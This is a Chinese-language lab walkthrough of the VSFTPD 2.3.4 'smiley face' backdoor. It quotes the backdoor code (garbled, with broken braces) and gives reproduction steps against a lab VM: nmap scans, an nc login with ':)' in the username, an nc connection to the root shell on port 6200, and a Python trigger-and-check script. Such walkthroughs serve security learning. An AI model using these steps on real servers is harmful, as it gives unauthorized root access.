一、漏洞介绍
VSFTPD 2.3.4,俗称笑脸漏洞。在VSFTPD的实现代码中存在一个后门函数,属于开发者设计上的失误。在检测到用户名带有特殊字符:)时,会自动打开6200端口。
{
return 1;
{
else if((p_str->p_buf==0x3a)&&(p_str->p_buf+1==0x29))
{
vsf_sysutil_extra();
}
}
return 0;
}
0x3a,0x29转换为ascii码刚好为:)(像简单的一个笑脸表情)
vsf_sysutil_extra() :打开服务器的6200端口,并且不需要密码就能从6200端口以管理员身份登入服务器,高危!!!!
二 、复现笑脸漏洞
将自己的攻击机与靶机用nat模式连接到同一子网下
先在kali用ifconfig得到自己的IP地址
用nmap扫描得到靶机IP
nmap -sV 192.168.48.0/24
可以看到靶机开启了21端口且版本为vsftpd 2.3.4
用nc连接到靶机的21端口
用户名输入带:)就好了,密码随便输
查看端口开放情况
nmap -Pn -p6200 192.168.48.132
可以看到6200端口开放了
nc连接该端口
输入ls成功看到当前目录下文件
python检测脚本为
import socket
from ftplib import FTP
host_ip = "192.168.48.132" # 要检测的IP地址
ftp = FTP()
backdoorstr = "Hello:)" # 账号
backdoorpass = 'me' # 密码
try:
ftp.connect(host_ip, 21, timeout=2) # 发送请求给IP下的21端口
ftp.login(backdoorstr, backdoorpass) # 进行登录
except:
print("完成")
try:
s = socket.socket() # 检测是否有漏洞存在
nock = s.connect((host_ip, 6200)) # 发送请求给6200端口
print("存在笑脸漏洞")
except:
print("未找到")
在kali终端运行